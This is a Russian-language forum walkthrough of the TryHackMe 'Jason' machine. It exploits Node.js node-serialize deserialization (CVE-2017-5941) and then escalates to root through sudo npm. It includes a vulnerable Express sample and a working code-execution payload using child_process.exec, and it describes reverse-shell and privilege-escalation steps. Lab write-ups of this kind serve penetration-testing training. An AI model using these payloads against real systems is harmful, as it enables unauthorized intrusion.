ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   Прохождение TryHackME | Jason (https://forum.antichat.xyz/showthread.php?t=1643859)

vov4ick 21.08.2024 19:08

https://forum.antichat.xyz/attachmen...4163585789.png

Всем привет ! Сегодня я разберу машину Jason на площадке TryHackMe. Уровень Easy, но это правильная тачка, с правильной багой, которая много чему научит.

Сканирование.

https://forum.antichat.xyz/attachmen...4164579220.png

У нас есть два порта на которых висят ssh и веб сервер.

Посетив нашу цель нас встречает сайт, с формой отправки email. Как только мы отправляем его , мы получаем ответ как на картинке.
Так же мы наблюдаем что сайт построен с помощью Nodejs.

https://forum.antichat.xyz/attachmen...4164849324.png

Попробуем перехватить запрос в Burp и посмотреть какие ответы мы получаем:

https://forum.antichat.xyz/attachmen...b7fbd08f5d.png

При вводе в email мы получаем закодированный сеанс в base64.
Если мы кинем это в декодер , то увидим следующее.

https://forum.antichat.xyz/attachmen...4165470288.png

Точка опоры.
Мои запросы по типу node.js deserialization exploit , привели меня к CVE-2017-5941.
Уязвимость позволяет злоумышленнику создать цепочку, используя механизм сериализации для исполнения
произвольного кода при десериализации. Если приложение использует функции serialize и deserialize из node-serialize
без должной проверки и фильтрации данных, злоумышленник может произвести инъекцию кода через специально подготовленные данные.

Немого ликбеза:
Сериализация — это процесс преобразования объекта (например, данных или структуры) в формат,
который можно сохранить (например, в файл) или передать по сети.
Десериализация — это обратный процесс, когда данные восстанавливаются из сохраненного
или переданного формата обратно в объект.
Эти процессы используются для передачи объектов между разными системами или сохранения их состояния.

Вот пример node.js приложение для имитации кода:
Значение cookie, полученное из запроса, было передано в unserialize() функцию, предоставляемую модулем.

JavaScript:


Код:

var
express
=
require
(
'express'
)
;
var
cookieParser
=
require
(
'cookie-parser'
)
;
var
escape
=
require
(
'escape-html'
)
;
var
serialize
=
require
(
'node-serialize'
)
;
var
app
=
express
(
)
;
app
.
use
(
cookieParser
(
)
)
app
.
get
(
'/'
,
function
(
req, res
)
{
if
(
req
.
cookies
.
profile
)
{
var
str
=
new
Buffer
(
req
.
cookies
.
profile
,
'base64'
)
.
toString
(
)
;
var
obj
=
serialize
.
unserialize
(
str
)
;
if
(
obj
.
username
)
{
res
.
send
(
"Hello "
+
escape
(
obj
.
username
)
)
;
}
}
else
{
res
.
cookie
(
'session'
,
"eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0="
,
{
maxAge
:
900000
,
httpOnly
:
true
}
)
;
}
res
.
send
(
"Hello World"
)
;
}
)
;
app
.
listen
(
3000
)
;

Для этого я использовал node-serialize. Так же я создал объект js, с таким кодом который я передал в serialize() функцию.
Передача ее в unserialize() функцию приведет к выполнению кода.

JavaScript:


Код:

var
y
=
{
rce
:
function
(
)
{
require
(
'child_process'
)
.
exec
(
'ping -c 1 10.10.61.233'
,
function
(
error, stdout, stderr
)
{
console
.
log
(
stdout
)
}
)
;
}
(
)
,
}
var
serialize
=
require
(
'node-serialize'
)
;
console
.
log
(
"Serialized: \n"
+
serialize
.
serialize
(
y
)
)
;

Мы можем проверить это, просто отправив ICMP пакеты:

https://forum.antichat.xyz/attachmen...4228975928.png

И получив их на выходе :

https://forum.antichat.xyz/attachmen...4229061771.png

Теперь мы знаем, что можем использовать unserialize() функцию в модуле node-serialize, если в него передаются
ненадежные данные. Давайте воспользуемся уязвимостью в веб-приложении, чтобы создать обратную оболочку.
Создание полезной нагрузки
https://forum.antichat.xyz/attachmen...4251507014.png

Теперь осталось закодировать нашу нагрузку в base64:

https://forum.antichat.xyz/attachmen...4248242761.png

После обновляем страницу и просто меняем текущий сеанс на свой, который мы закодировали. Так же прослушиваем порт
который мы указали в полезной нагрузке:

https://forum.antichat.xyz/attachmen...36f9720377.png

Мы получили наш первый флаг.

Privilege escalation.
Проверяем наши возможности:

https://forum.antichat.xyz/attachmen...4248760928.png

Вообщем dylan может запускать npm от sudo без ввода пароля.
Обратимся к Gitfobins. Это действительно что нам нужно.

https://forum.antichat.xyz/attachmen...4249173021.png

Таким образом, эта команда создает временный каталог, так же она создает в нем файл package.json, а затем выполняет
npm install с правами суперпользователя. При этом используется флаг --unsafe-perm, который позволяет выполнять
установочные скрипты с повышенными правами. В итоге это может привести к запуску оболочки /bin/sh, от суперпользователя.

https://forum.antichat.xyz/attachmen...4249569356.png

Заключение:
Важно тщательно проверять и фильтровать входящие данные перед их десериализацией.
Небезопасная десериализация может привести к выполнению произвольного кода, а также к утечке
конфиденциальной информации и другим критическим последствиям.

Итоги:
В целом машина мне понравилась, в жизни такое редко встретишь, но понимание как работает данная уязвимость
дает только плюс в копилку для пентестера.
Спасибо всем за внимание. Я надеюсь предоставленный материал был полезен и интересен для вас.
Если у вас возникли вопросы или предложения не стесняйтесь делиться ими в комментариях. Ваши мысли и идеи всегда приветствуются.


Время: 05:30